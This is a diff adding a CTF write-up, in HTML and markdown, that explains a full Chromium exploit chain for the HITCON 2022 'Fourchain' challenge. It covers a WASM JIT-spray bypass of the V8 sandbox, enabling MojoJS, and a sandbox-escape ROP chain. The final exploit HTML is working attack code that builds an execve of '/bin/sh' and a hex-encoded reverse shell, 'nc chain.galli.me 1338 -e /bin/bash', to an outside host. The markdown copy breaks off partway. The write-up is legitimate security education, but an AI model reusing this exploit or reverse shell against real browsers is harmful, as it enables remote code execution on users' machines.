+*RBX  0x7fffffffd400 —▸ 0x7fffffffd420 ◂— 0xe
+*RCX  0x555555f55631 ◂— mov rax, rbx
+*RDX  0x13381338
+*RDI  0x555556a18620 —▸ 0x555556a0fbe0 ◂— 0x0
+*RSI  0x1ccc00198735 ◂— 0x590000225900195f
+*R8   0x3e359ccb128
+*R9   0x1ccc00198735 ◂— 0x590000225900195f
+*R10  0x7ffff7fbd080
+*R11  0x7ffff7fbd090
+*R12  0x2
+ R13  0x5555569b2420 —▸ 0x1ccc00000000 ◂— 0xb000
+ R14  0x1ccc00000000 ◂— 0xb000
+*R15  0x41414141
+*RBP  0x7fffffffd428 —▸ 0x7fffffffd508 —▸ 0x7fffffffd560 —▸ 0x7fffffffd588 —▸ 0x7fffffffd5f0 ◂— ...
+*RSP  0x7fffffffd3b8 —▸ 0x5554dff10256 ◂— lea rsp, [rbp - 0x48]
+*RIP  0x41414141
+───────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────
+Invalid address 0x41414141
+
+ +

This is very interesting because even though we can’t directly overwrite the generated machine code (which is RWX) we can still place some controlled data there by embedding it in immediates and then jumping into the middle of the immediate by overwriting this pointer (JIT spray attack).

+ +

Interestingly, Kylebot notes in his writeup that

+ +
+

After a few trials, I still couldn’t let V8 to dereference this pointer. After following the trace, @adamd and I found out that the real pointer used for invoking the shellcode resides on ptmalloc heap, which is outside of the cage.

+
+ +

It seems that this might have changed in newer versions of V8 and that this attack is now possible.

+ +

The gist of the attack is that we will compile a WASM function similar to this

+ +
int a(unsigned long x, unsigned long y) { 
+    double g1 = 1.4501798452584495e-277;
+    double g2 = 1.4499730218924257e-277;
+    double g3 = 1.4632559875735264e-277;
+    double g4 = 1.4364759325952765e-277;
+    double g5 = 1.450128571490163e-277;
+    double g6 = 1.4501798485024445e-277;
+    double g7 = 1.4345589834166586e-277;
+    double g8 = 1.616527814e-314;
+    
+    return g1 + g2 + g3 + g4 + g5 + g6 + g7 + g8;
+}
+
+ +

and choose the floating-point values so that their binary encoding is also valid machine code. By jumping into the next imediate when we run out of space we can construct an arbitrarily-long instruction sequence. And since V8’s WASM compiler is deterministic we just have to add an offset to the pointer we were just overwriting to execute our sprayed shellcode.

+ +

By inspection in GDB we can see that the calling convention that V8 uses for WASM is register-based with 32-bit integer arguments passed in eax, edx, ecx and integer values are returned in eax. The following shellcode gives us arbitrary read and write outside of the sandbox 1:

+ +
sal rdx, 32
+or rax, rdx
+mov eax, dword ptr [rax]
+ret
+
+sal rax, 32
+or rdx, rax
+mov dword ptr [rdx], ecx
+ret
+
+ +

All seems good now and after figuring out the offsets we can get our arbitrary read and write:

+ +
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
+0x0000303536423736 in ?? ()
+LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
+──────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────
+ RAX  0x0
+*RBX  0x5554dff173b8 ◂— cmp eax, dword ptr [r13 + 0x220]
+*RCX  0x42424242
+*RDX  0x41414141
+*RDI  0x555556a1f080 —▸ 0x555556a1f030 ◂— 0x0
+*RSI  0x3ae300199219 ◂— 0x590000225900195f
+*R8   0x4011f608d37
+*R9   0x7fffffffd348 —▸ 0x3ae300199315 ◂— 0xc90019930100002f /* '/' */
+*R10  0x7ffff7fbd080
+*R11  0x7ffff7fbd090
+*R12  0x2
+*R13  0x5555569b2420 —▸ 0x3ae300000000 ◂— 0xb000
+*R14  0x3ae300000000 ◂— 0xb000
+*R15  0x303536423710 ◂— shl rax, 0x20 /* 0xbeb909020e0c148 */
+*RBP  0x7fffffffd390 —▸ 0x7fffffffd420 —▸ 0x7fffffffd508 —▸ 0x7fffffffd560 —▸ 0x7fffffffd588 ◂— ...
+*RSP  0x7fffffffd310 —▸ 0x5554dff10256 ◂— lea rsp, [rbp - 0x48]
+*RIP  0x303536423736 ◂— mov dword ptr [rdx], ecx /* 0xbeb909090c30a89 */
+───────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────
+  0x303536423736    mov    dword ptr [rdx], ecx
+   0x303536423738    ret
+
+ +

Except, there is a slight problem. The code pointer that we are overwriting only seems to be used once, the first time a function in that WASM instance is called. After that it’s not used anymore and the JIT spray doesn’t work. This probably has to do with lazy compilation. Creating a new WASM instance every time we want to read or write almost works, but not quite. It seems that V8 also has a cache of compiled WASM bytecode, so if we attempt to create two completely different WASM modules that use the same bytecode it will only compile the code once, so the JIT spray attack only works on the first.

+ +

Our solution was simply to change the WASM bytecode every time we create a new instance. We just selected some byte that didn’t appear to have an effect on the shellcode when changed and wrote some JavaScript that increments that byte every time we create a new WASM instance. Very hacky but it works.

+ +

Now that we have arbitrary R/W in the renderer process we just need to leak the base of the chrome binary and enable MojoJS. There are probably tons of ways to do this, we used a pointer inside the WASM code page.

+ +

After toggling the MojoJS flag we just have to reload the page and we will have MojoJS, so we can run the Sandbox exploit from before.

+ +

The final exploit html can be found at the end of this page.

+ +

GUI Troubles

+ +

Since we just had too much fun solving these challenges, we decided to go all out for the writeup and make the exploit work while running everything with a GUI (i.e. like a person normally would). +In theory of course, this should have been a cake walk and it would only require us to install the GUI packages everywhere and set the corresponding settings / flags. +Unfortunately, it was not that easy.

+ +

Installing the GUI was already quite tricky and I had to setup a completely new VM for it, since installing it on my droplet resulted in all network connections being dropped. +This proved to be a bit tricky, due to wanting to use a VM in VM setup (so I don’t accidentally mess up my actual system). +This meant I had to use nested virtualization which should be supported by VirtualBox out of the box. +My host OS was Windows, since that was the machine I had lying around with nested virtualization supported. +It took many restarts and convincing Windows that I did not need any kind of safety features to disable Hyper-V and get nested virtualization in VirtualBox working. +Now I only had to get Chrome working with a GUI, which turned out to be a bit of a pain as well. +The build provided by the challenge authors unfortunately did not have the necessary resources and e.g. the crash handler. +Thankfully, Nspace did a local compile of the patched Chrome for local debugging and I was able to get the GUI working by copying over random files from his build.

+ +

Once that was out of the way, I could finally start. +After some very minor tweaking, the last two steps worked quite well again, even with the GUI. +However, the first two stages were not working at all. +The first stage, was failing to leak the code pointer and it turns out that the read outside the V8 sandbox was broken. +I wasted quite some time here until I finally (grudgingly) installed gdb in the inner VM and attached to chrome. +It turns out, that my new setup was using different instructions (likely due to being an AMD CPU) for compiling the WASM code and hence the offset used had to change. +Once that was fixed, the first stage was working again.

+ +

The second stage was still broken though and would always crash at the same place with similar register contents:

+ +
Received signal 11 <unknown> 000000000000
+#0 0x55fa415d15b2 base::debug::CollectStackTrace()
+#1 0x55fa41537783 base::debug::StackTrace::StackTrace()
+#2 0x55fa415d10d1 base::debug::(anonymous namespace)::StackDumpSignalHandler()
+#3 0x7f2179098140 (/usr/lib/x86_64-linux-gnu/libpthread-2.31.so+0x1313f)
+#4 0x55fa3fd520e4 content::SandboxImpl::Pour()
+#5 0x55fa41584f81 base::TaskAnnotator::RunTaskImpl()
+#6 0x55fa4159d2cd base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl()
+#7 0x55fa4159cbbf base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork()
+#8 0x55fa4159da55 base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork()
+#9 0x55fa415f8193 base::MessagePumpEpoll::Run()
+#10 0x55fa4159ddab base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run()
+#11 0x55fa41563db9 base::RunLoop::Run()
+#12 0x55fa415bd098 base::Thread::Run()
+#13 0x55fa3f6d8a60 content::BrowserProcessIOThread::IOThreadRun()
+#14 0x55fa415bd1b7 base::Thread::ThreadMain()
+#15 0x55fa415e494f base::(anonymous namespace)::ThreadFunc()
+#16 0x7f217908cea7 start_thread
+#17 0x7f21780afa2f clone
+  r8: 00001b6802012300  r9: 00007f217080e06f r10: 0000000000010001 r11: 0000000000000001
+ r12: 00001b68010c7c20 r13: 0000000000000800 r14: 00001b68010c6c00 r15: efefefefefefefef
+  di: 000055fa47c6ccc8  si: 00001b6801f32300  bp: 00007f217080e140  bx: 00001b6801cc8000
+  dx: 0000000000000800  ax: 00001b6802012b20  cx: 0000000000000000  sp: 00007f217080e0f0
+  ip: 000055fa3fd520e4 efl: 0000000000010282 cgf: 002b000000000033 erf: 0000000000000000
+ trp: 000000000000000d msk: 0000000000000000 cr2: 0000000000000000
+[end of stack trace]
+Segmentation fault
+
+ +

Looking at the assembly, the culprit was R15. +I compared the crashlog to one without GUI and there the exploit would always succeed or R15 was null or 0x20. +I realized, that when the GUI was enabled, there must be some UAF detection happening, by memsetting free’d chunks to 0xef. +After scouring the chromium codebase for a few hours (and wasting a lot of time trying to make it work with different timings of the race), I finally figured out that it is their new partition allocator:

+ +
  // TODO(keishi): Add PA_LIKELY when brp is fully enabled as |brp_enabled| will
+  // be false only for the aligned partition.
+  if (brp_enabled()) {
+    auto* ref_count = internal::PartitionRefCountPointer(slot_start);
+    // If there are no more references to the allocation, it can be freed
+    // immediately. Otherwise, defer the operation and zap the memory to turn
+    // potential use-after-free issues into unexploitable crashes.
+    if (PA_UNLIKELY(!ref_count->IsAliveWithNoKnownRefs() &&
+                    brp_zapping_enabled()))
+      internal::SecureMemset(object, internal::kQuarantinedByte,
+                             slot_span->GetUsableSize(this));
+
+ +

I did not figure out whether this is just not enabled when running with --headless or the GUI just causes the memset to happen due to other factors. +In the end, I decided to just disable the new allocator with a command line flag2.

+ +

With all of that fixed, the exploit finally worked when running under a GUI and we were able to capture this glorious video :P (I recommend you turn on sound):

+ + + +

Final Exploit HTML

+ +
<html>
+<head>
+
+<script src="http://chain.galli.me:8080/mojo/mojo_bindings.js"></script>
+<script src="http://chain.galli.me:8080/mojo/third_party/blink/public/mojom/sandbox/sandbox.mojom.js"></script>
+
+<script>
+const server_url = 'http://chain.galli.me:8080'
+let printbuf = [];
+function print(msg) {
+  printbuf.push(msg);
+}
+
+let f64view = new Float64Array(1);
+let u8view = new Uint8Array(f64view.buffer);
+let u64view = new BigUint64Array(f64view.buffer);
+let i32view = new Int32Array(f64view.buffer);
+let u32view = new Uint32Array(f64view.buffer);
+
+function d2i(x) {
+    f64view[0] = x;
+    return u64view[0];
+}
+
+function i2d(x) {
+    u64view[0] = x;
+    return f64view[0];
+}
+
+function s2u(x) {
+    i32view[0] = x;
+    return u32view[0];
+}
+
+function hex(x) {
+  return `0x${x.toString(16)}`;
+}
+
+function assert(x, msg) {
+  if (!x) {
+    throw msg;
+  }
+}
+
+async function renderer() {
+  let hole = [].hole();
+  let map = new Map(); // len = 0, 2 buckets
+  map.set(1, 1); // len = 1, 2 buckets
+  map.set(hole, 1); // len = 2, 2 buckets
+  map.delete(hole); // len = 2, 2 buckets
+  map.delete(hole); // len = 0x00048b55, 2 buckets, 2 deleted, pointed to map has len = 0, no deleted, 2 buckets
+  map.delete(1); // len = 0x00048b55, 2 buckets, 2 deleted, points to another map, points to something with len = -1
+  let a = [];
+  map.set(0x10, -1); // set the number of buckets to 0x10
+
+  a.push(1.1);
+
+  let b = [];
+  map.set(b, 1337); // overwrite the length of the array
+
+  let c = new Uint32Array(16);
+  a[23] = i2d(0x1337133700000000n);
+
+
+  let d = [a];
+  let e = [d];
+
+  let d_addr = c[46] - 1;
+
+  a[24] = i2d(0n);
+  a[25] = i2d(0n);
+
+  let d_elements = c[d_addr / 4 + 2] - 1;
+
+  function cageAddressOf(obj) {
+      d[0] = obj;
+      return c[d_elements / 4 + 2] - 1;
+  }
+
+  var global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
+  var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,135,128,128,128,0,1,96,2,127,127,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,101,109,101,0,0,10,224,128,128,128,0,1,218,128,128,128,0,0,32,0,184,68,55,19,55,19,55,19,55,19,160,32,1,184,160,68,72,193,226,32,144,144,235,11,160,68,72,9,208,144,144,144,235,11,160,68,139,0,144,144,144,144,235,11,160,68,195,144,144,144,144,144,235,11,160,68,72,193,224,32,144,144,235,11,160,68,72,9,194,144,144,144,235,11,160,68,137,10,195,144,144,144,235,11,160,171,11]);
+  var wasm_mod = new WebAssembly.Module(wasm_code);
+  var wasm_instance = new WebAssembly.Instance(wasm_mod, {js: {global}});
+  let f = wasm_instance.exports.meme;
+
+  f(0x13371337, 0x13381338);
+  const code_addr = BigInt(c[cageAddressOf(wasm_instance) / 4 + 24]) | (BigInt(c[cageAddressOf(wasm_instance) / 4 + 25]) << 32n);
+
+  let i = 0;
+
+  function makeInstance() {
+      var global2 = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
+      var wasm_code2 = new Uint8Array([0,97,115,109,1,0,0,0,1,136,128,128,128,0,1,96,3,127,127,127,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,142,128,128,128,0,2,6,109,101,109,111,114,121,2,0,1,97,0,0,10,238,128,128,128,0,1,232,128,128,128,0,0,32,0,184,68,55,19,55,19,55,19,55,19,160,32,1,184,160,32,2,184,160,68,72,139,9,56,192,144,116,6,160,68,104,0,16,0,0,144,116,6,160,68,94,72,49,255,56,192,116,6,160,68,104,255,15,0,0,95,116,6,160,68,72,247,215,144,144,144,116,6,160,68,72,33,207,56,192,144,116,6,160,68,42,240,83,106,10,88,116,6,160,68,81,15,5,195,0,0,0,1,160,171,11]);
+      wasm_code2[wasm_code2.length - 4] = i;
+      i++;
+
+      var wasm_mod2 = new WebAssembly.Module(wasm_code2);
+      var wasm_instance2 = new WebAssembly.Instance(wasm_mod2, {js: {global2}});
+      return wasm_instance2;
+  }
+
+  function read32(addr) {
+      let wasm_instance2 = makeInstance()
+      let f2 = wasm_instance2.exports.a;
+
+      const shellcode_addr = code_addr + 0x680n + 0x25n + 0x1fn;
+      c[cageAddressOf(wasm_instance2) / 4 + 24] = Number(shellcode_addr & 0xffffffffn);
+      c[cageAddressOf(wasm_instance2) / 4 + 25] = Number((shellcode_addr >> 32n) & 0xffffffffn);
+      return s2u(f2(Number(addr & 0xffffffffn), Number((addr >> 32n) & 0xffffffffn)));
+  }
+
+  function write32(addr, val) {
+      let wasm_instance2 = makeInstance()
+      let f2 = wasm_instance2.exports.a;
+
+      const shellcode_addr = code_addr + 0x680n + 0x25n + 0x6bn;
+      c[cageAddressOf(wasm_instance2) / 4 + 24] = Number(shellcode_addr & 0xffffffffn);
+      c[cageAddressOf(wasm_instance2) / 4 + 25] = Number((shellcode_addr >> 32n) & 0xffffffffn);
+      f2(Number((addr >> 32n) & 0xffffffffn), Number(addr & 0xffffffffn), val);
+  }
+
+  function read64(addr) {
+    return BigInt(read32(addr)) | (BigInt(read32(addr + 4n)) << 32n);
+  }
+
+  let leakInstance = makeInstance();
+  let codePointer = BigInt(c[cageAddressOf(leakInstance) / 4 + 24]) | (BigInt(c[cageAddressOf(leakInstance) / 4 + 25]) << 32n);
+  let textPointer = read64(codePointer + 0x148n)
+  print(`Code pointer: ${hex(codePointer)}`);
+  print(`Text pointer: ${hex(textPointer)}`);
+
+  let chrome_base = textPointer - 0x590ce00n;
+
+  // From https://github.com/google/google-ctf/blob/master/2021/quals/pwn-fullchain/healthcheck/chromium_exploit.html#L122
+  // nm chrome | grep g_frame_map | awk '{print $1}'
+  const g_frame_map_offset = 0x000000000e34d168n;
+  // Disassemble content::RenderFrameImpl::EnableMojoJsBindings
+  const enable_mojo_js_bindings_offset = 0x448n;
+
+  // g_frame_map is a LazyInstance<FrameMap>, i.e. a FrameMap preceded by a
+  // pointer to the FrameMap.
+  let frame_map_ptr = chrome_base + g_frame_map_offset;
+  let g_frame_map = read64(frame_map_ptr);
+  assert(g_frame_map === frame_map_ptr + 8n, 'failed to find g_frame_map');
+  print(`g_frame_map: ${hex(g_frame_map)}`);
+
+  // FrameMap is a std::map<blink::WebFrame*, RenderFrameImpl*>, which is
+  // implemented as a red-black tree in libc++. We'll assume that there is
+  // only one element in the map. The first 8 bytes in the std::map point to
+  // the (only) node.
+  // The layout of a node is as follows:
+  // 0:  p64(left)
+  // 8:  p64(right)
+  // 16: p64(parent)
+  // 24: p64(is_black) (yes this is a boolean but it takes 64 bits)
+  // 32: key (in our case blink::WebFrame*)
+  // 40: value (in our case RenderFrameImpl*) <-- what we want
+  let g_frame_map_node = read64(g_frame_map);
+  print(`g_frame_map_node: ${hex(g_frame_map_node)}`);
+  let render_frame = read64(g_frame_map_node + 40n);
+  print(`render_frame: ${hex(render_frame)}`);
+
+  // This is a bool in RenderFrameImpl that controls whether JavaScript has
+  // access to the MojoJS bindings.
+  let enable_mojo_js_bindings_addr = render_frame + enable_mojo_js_bindings_offset;
+  write32(enable_mojo_js_bindings_addr, read32(enable_mojo_js_bindings_addr) | 1);
+  // We will have mojo after reloading the page, so do that
+  window.location.reload();
+}
+
+async function sbx() {
+  function newClient() {
+    let iface = new blink.mojom.SandboxPtr();
+    Mojo.bindInterface(blink.mojom.Sandbox.name, mojo.makeRequest(iface).handle);
+
+    return iface;
+  }
+
+  let fake = newClient();
+  const heap_leak = (await fake.getHeapAddress()).addr;
+
+  const text_leak = (await fake.getTextAddress()).addr;
+
+  print(`Text leak: ${hex(text_leak)}`);
+  const chrome_base = BigInt(text_leak) - 0x627fc20n;
+  print(`Chrome base: ${hex(chrome_base)}`);
+
+  const syscall = chrome_base + 0x0d8decafn; // syscall;
+  const move_stack = chrome_base + 0x08ff9a59n; // add rsp, 0x28; ret;
+  const pop_rdi = chrome_base + 0x0d8e655bn; // pop rdi; ret
+  const pop_rsi = chrome_base + 0x0d8cdf7cn; // pop rsi; ret;
+  const pop_rdx = chrome_base + 0x0d86e112n; // pop rdx; ret;
+  const pop_rax = chrome_base + 0x0d8e64f4n; // pop rax; ret;
+
+  let boxed_mem = BigInt(heap_leak) + 0x18n;
+  let fake_object = new BigUint64Array(0x800 / 8);
+
+  let prog_addr = boxed_mem - 7n;
+  let prog_arg = boxed_mem - 7n + 15n * 8n;
+  let prog_arg2 = prog_arg + 8n;
+
+  fake_object.fill(0x4141414141414141n);
+  fake_object[0] = 0x68732f6e69622fn; // /bin/sh
+  fake_object[1] = prog_addr;
+  fake_object[2] = prog_arg;
+  fake_object[3] = prog_arg2;
+  fake_object[4] = 0n;
+  fake_object[5] = chrome_base + 0x0590cc53n; // mov rsp, [rdi]; mov rbp, [rdi+8]; mov dword ptr [rdi+0x20], 0; jmp qword ptr [rdi+0x10];
+
+  fake_object[6] = pop_rdi;
+  fake_object[7] = prog_addr;
+  fake_object[8] = pop_rsi;
+  fake_object[9] = boxed_mem + 8n - 7n;
+  fake_object[10] = pop_rdx;
+  fake_object[11] = 0n;
+  fake_object[12] = pop_rax;
+  fake_object[13] = 59n;
+  fake_object[14] = syscall;
+
+  fake_object[15] = 0x632dn; // -c\x00\x00\x00
+
+  // nc chain.galli.me 1338 -e /bin/bash
+  fake_object[16] = 0x6e6961686320636en; // nc chain
+  fake_object[17] = 0x6d2e696c6c61672en; // .galli.m
+  fake_object[18] = 0x2d20383333312065n; // e 1338 -
+  fake_object[19] = 0x622f6e69622f2065n; // e /bin/b
+  fake_object[20] = 0x687361n; // ash\x00\x00\x00
+
+  fake.pourSand(new Uint8Array(fake_object.buffer));
+  print(`Fake object at: ${hex(boxed_mem)}`);
+
+  let clients = [];
+  for (let i = 0; i < 1000; i++) {
+    clients.push(newClient());
+  }
+
+  let spray = [];
+  for (let i = 0; i < 100; i++) {
+    spray.push(newClient());
+  }
+
+  let iface = newClient();
+
+  let arg2 = new BigUint64Array(0x1020 / 8);
+  arg2.fill(BigInt(boxed_mem) + 1n);
+  arg2[0x800 / 8 + 0x818 / 8] = 0n;
+  arg2[1 + 0x800 / 8] = 0x12354567n;
+  arg2[2 + 0x800 / 8] = move_stack;
+
+  let arg = new Uint8Array(arg2.buffer);
+
+  for (let i = 0; i < clients.length; i++) {
+    clients[i].pourSand(arg);
+  }
+
+  for (let i = 0; i < 100; i++) {
+    iface.pourSand(arg);
+    iface.ptr.reset();
+    iface = newClient();
+  }
+
+  for (let i = 0; i < spray.length; i++) {
+    spray[i].pourSand(arg);
+  }
+
+  print('done');
+}
+
+async function pwn() {
+  print('hello world');
+
+  try {
+    if (typeof(Mojo) === 'undefined') {
+      await renderer();
+    } else {
+      print(`Got Mojo!: ${Mojo}`);
+      await sbx();
+    }
+  } catch (e) {
+    print(`[-] Exception caught: ${e}`);
+    print(e.stack);
+  }
+
+  fetch(`${server_url}/logs`,{
+    method: 'POST',
+    body: printbuf.join('\n'),
+  });
+}
+
+pwn();
+
+</script>
+</head>
+</html>
+
+ +

hitcon{G00dbY3_1_4_O_h3LL0_Pwn_2_Own_BTW_vB0x_Y_U_N0_SM3P_SM4P_??!!}

+ +

Table of Contents

+ + +
+
    +
  1. +

    The reason why we use rdx, rax to read but rax, rdx to write is that if the same floating-point constant is used twice in the function, the compiler will emit a load from memory instead of an immediate. So we can’t use the same sequence of instructions twice. 

    +
  2. +
  3. +

    Yeah this is kinda cheating, but then again, the challenge was not made with this in mind and I also had to finish this writeup at some point :P. Also I forgot the command line flag, so if you came here looking for that, sorry :/. 

    +
  4. +
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/HITCON-2022/pwn/fourchain-fullchain.md b/HITCON-2022/pwn/fourchain-fullchain.md new file mode 100755 index 0000000..52e4279 --- /dev/null +++ b/HITCON-2022/pwn/fourchain-fullchain.md @@ -0,0 +1,563 @@ +# Fourchain - One For All + +**Authors:** [Nspace](https://twitter.com/_MatteoRizzo), [gallileo](https://twitter.com/galli_leo_) + +**Tags:** pwn, browser, v8, linux, virtualbox + +**Points:** 500 + +> One challenge for all the vulnerabilities. +> +> All these years of training has lead to this moment. +> +> Show us who's the best pwner in the world ! + +The last challenge in the series is about chaining together the four bugs. The challenge runs Linux with the vulnerable module inside the patched Virtualbox, and runs the patched Chromium with both bugs inside this VM. We can provide the URL of our own webpage and the challenge will open it in the patched Chromium. We have to get the flag which is outside the VM. + +Escaping the VM once we have a root shell inside is easy, we only need to load the exploit module from the VM escape challenge. Getting a root shell from an unsandboxed unprivileged shell is also easy because we can reuse the kernel exploit from the kernel challenge. The only part that is slightly more problematic is chaining the renderer compromise with the browser sandbox escape. + +The sandbox escape needs to send Mojo messages to the browser process to interact with the vulnerable IPC service. The easiest way to do that from a compromised renderer is to enable MojoJS. Using MojoJS also means that we can reuse the exploit from the sandbox escape part unmodified which is nice because it saves us some work. There is a well-documented way to enable Mojo in a compromised renderer with arbitrary R/W, described by Mark Brand in a [Project Zero bug](https://bugs.chromium.org/p/project-zero/issues/detail?id=1755). I reused [the code](https://github.com/google/google-ctf/blob/master/2021/quals/pwn-fullchain/healthcheck/chromium_exploit.html#L122) that I wrote for the Full Chain challenge at Google CTF 2021 for this. + +Now the only thing we need is arbitrary read and write in the renderer. Unfortunately we had cheesed the V8 challenge by loading the flag into the sandboxed heap with `Realm.eval` instead of actually bypassing the V8 sandbox. This was good enough for that challenge where we only had to read a file, but it won't work here. We need an actual bypass for the V8 sandbox. + +## Uncheesing the V8 Exploit + +Earlier this year DiceCTF had [a challenge](https://ctftime.org/task/18826) where players had to find bypasses for the V8 sandbox. The sandbox is now enabled by default in V8 but it's still pretty new and there are many bypasses that haven't been fixed yet. Funnily enough I had discovered the `Realm.eval` cheese when attempting to solve that challenge near the end of the CTF but I couldn't use it because the flag was located at an unguessable path. I remembered that Kylebot from Shellphish had published [a writeup](https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/) for that challenge so I started by reading it. + +Kylebot's bypass uses WASM and overwrites `imported_mutable_globals` in a `WasmInstance` object to get arbitrary read and write. Unfortunately this bypass [has been patched out](https://source.chromium.org/chromium/_/chromium/v8/v8.git/+/5c152a0f7b53ad24c4e103daad3cbfa94d51c29d) and doesn't work anymore in the version of V8 used in this challenge. Even then I still thought I should take a look at the `WasmInstance` because it had a lot of native pointers in Kylebot's writeup: + +```py +0x12af00197ff5 +pwndbg> tele 0x12af00197ff4 +00:0000│ 0x12af00197ff4 ◂— 0x225900195f89 +01:0008│ 0x12af00197ffc ◂— 0x225900002259 /* 'Y"' */ +02:0010│ 0x12af00198004 ◂— 0x34c900002259 /* 'Y"' */ +03:0018│ 0x12af0019800c ◂— 0x34c9 +04:0020│ 0x12af00198014 ◂— 0x180010000000000 +05:0028│ 0x12af0019801c ◂— 0x10000 +06:0030│ 0x12af00198024 —▸ 0x5555569b5b60 —▸ 0x7ffffff07c60 ◂— 0x7ffffff07c60 +07:0038│ 0x12af0019802c —▸ 0x555556a1ba70 ◂— 0x500000000 +08:0040│ 0x12af00198034 ◂— 0x0 +09:0048│ 0x12af0019803c ◂— 0x0 +0a:0050│ 0x12af00198044 ◂— 0xffffffffff000000 +0b:0058│ 0x12af0019804c —▸ 0x5555569b5b40 —▸ 0x12af00000000 ◂— 0xb000 +0c:0060│ 0x12af00198054 —▸ 0x3a0e9c984000 ◂— jmp 0x3a0e9c984640 /* 0xcccccc0000063be9 */ +0d:0068│ 0x12af0019805c —▸ 0x5555569c2a48 —▸ 0x12af0005213c ◂— 0x5bd88000022c9 +0e:0070│ 0x12af00198064 —▸ 0x5555569c2a40 —▸ 0x12af000497e4 ◂— 0x0 +0f:0078│ 0x12af0019806c —▸ 0x5555569c2a68 —▸ 0x12af001c0000 ◂— 0x0 +10:0080│ 0x12af00198074 —▸ 0x5555569c2a60 —▸ 0x12af00198224 ◂— 0x0 +11:0088│ 0x12af0019807c —▸ 0x5555569b5b50 —▸ 0x7ffffff07c60 ◂— 0x7ffffff07c60 +12:0090│ 0x12af00198084 —▸ 0x5555569d7889 ◂— 0x100000000 +13:0098│ 0x12af0019808c —▸ 0x555556a270c0 ◂— 0x7fff001b7740 +14:00a0│ 0x12af00198094 ◂— 0x34c9000034c9 +15:00a8│ 0x12af0019809c ◂— 0x4958d000034c9 +16:00b0│ 0x12af001980a4 ◂— 0x182dad0004975d +17:00b8│ 0x12af001980ac ◂— 0x23e100197fb1 +``` + +Most of the pointers appear to be sandboxed now but there are still a few that are not. I started experimenting by overwriting each of those with 0x41414141 in GDB before calling into the wasm code and got some crashes. The most interesting one was from overwriting the pointer at offset 0x60 because it gave us RIP control: + +```py +Thread 1 "d8" received signal SIGSEGV, Segmentation fault. +0x0000000041414141 in ?? () +LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA +──────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────── +*RAX 0x13371337 +*RBX 0x7fffffffd400 —▸ 0x7fffffffd420 ◂— 0xe +*RCX 0x555555f55631 ◂— mov rax, rbx +*RDX 0x13381338 +*RDI 0x555556a18620 —▸ 0x555556a0fbe0 ◂— 0x0 +*RSI 0x1ccc00198735 ◂— 0x590000225900195f +*R8 0x3e359ccb128 +*R9 0x1ccc00198735 ◂— 0x590000225900195f +*R10 0x7ffff7fbd080 +*R11 0x7ffff7fbd090 +*R12 0x2 + R13 0x5555569b2420 —▸ 0x1ccc00000000 ◂— 0xb000 + R14 0x1ccc00000000 ◂— 0xb000 +*R15 0x41414141 +*RBP 0x7fffffffd428 —▸ 0x7fffffffd508 —▸ 0x7fffffffd560 —▸ 0x7fffffffd588 —▸ 0x7fffffffd5f0 ◂— ... +*RSP 0x7fffffffd3b8 —▸ 0x5554dff10256 ◂— lea rsp, [rbp - 0x48] +*RIP 0x41414141 +───────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────── +Invalid address 0x41414141 +``` + +This is very interesting because even though we can't directly overwrite the generated machine code (which is RWX) we can still place some controlled data there by embedding it in immediates and then jumping into the middle of the immediate by overwriting this pointer (JIT spray attack). + +Interestingly, Kylebot notes in his writeup that + +> After a few trials, I still couldn’t let V8 to dereference this pointer. After following the trace, @adamd and I found out that the real pointer used for invoking the shellcode resides on ptmalloc heap, which is outside of the cage. + +It seems that this might have changed in newer versions of V8 and that this attack is now possible. + +The gist of the attack is that we will compile a WASM function similar to this + +```c +int a(unsigned long x, unsigned long y) { + double g1 = 1.4501798452584495e-277; + double g2 = 1.4499730218924257e-277; + double g3 = 1.4632559875735264e-277; + double g4 = 1.4364759325952765e-277; + double g5 = 1.450128571490163e-277; + double g6 = 1.4501798485024445e-277; + double g7 = 1.4345589834166586e-277; + double g8 = 1.616527814e-314; + + return g1 + g2 + g3 + g4 + g5 + g6 + g7 + g8; +} +``` + +and choose the floating-point values so that their binary encoding is also valid machine code. By jumping into the next imediate when we run out of space we can construct an arbitrarily-long instruction sequence. And since V8's WASM compiler is deterministic we just have to add an offset to the pointer we were just overwriting to execute our sprayed shellcode. + +By inspection in GDB we can see that the calling convention that V8 uses for WASM is register-based with 32-bit integer arguments passed in `eax`, `edx`, `ecx` and integer values are returned in `eax`. The following shellcode gives us arbitrary read and write outside of the sandbox [^1]: + +```nasm +sal rdx, 32 +or rax, rdx +mov eax, dword ptr [rax] +ret + +sal rax, 32 +or rdx, rax +mov dword ptr [rdx], ecx +ret +``` + +[^1]: The reason why we use rdx, rax to read but rax, rdx to write is that if the same floating-point constant is used twice in the function, the compiler will emit a load from memory instead of an immediate. So we can't use the same sequence of instructions twice. + +All seems good now and after figuring out the offsets we can get our arbitrary read and write: + +```py +Thread 1 "d8" received signal SIGSEGV, Segmentation fault. +0x0000303536423736 in ?? () +LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA +──────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off 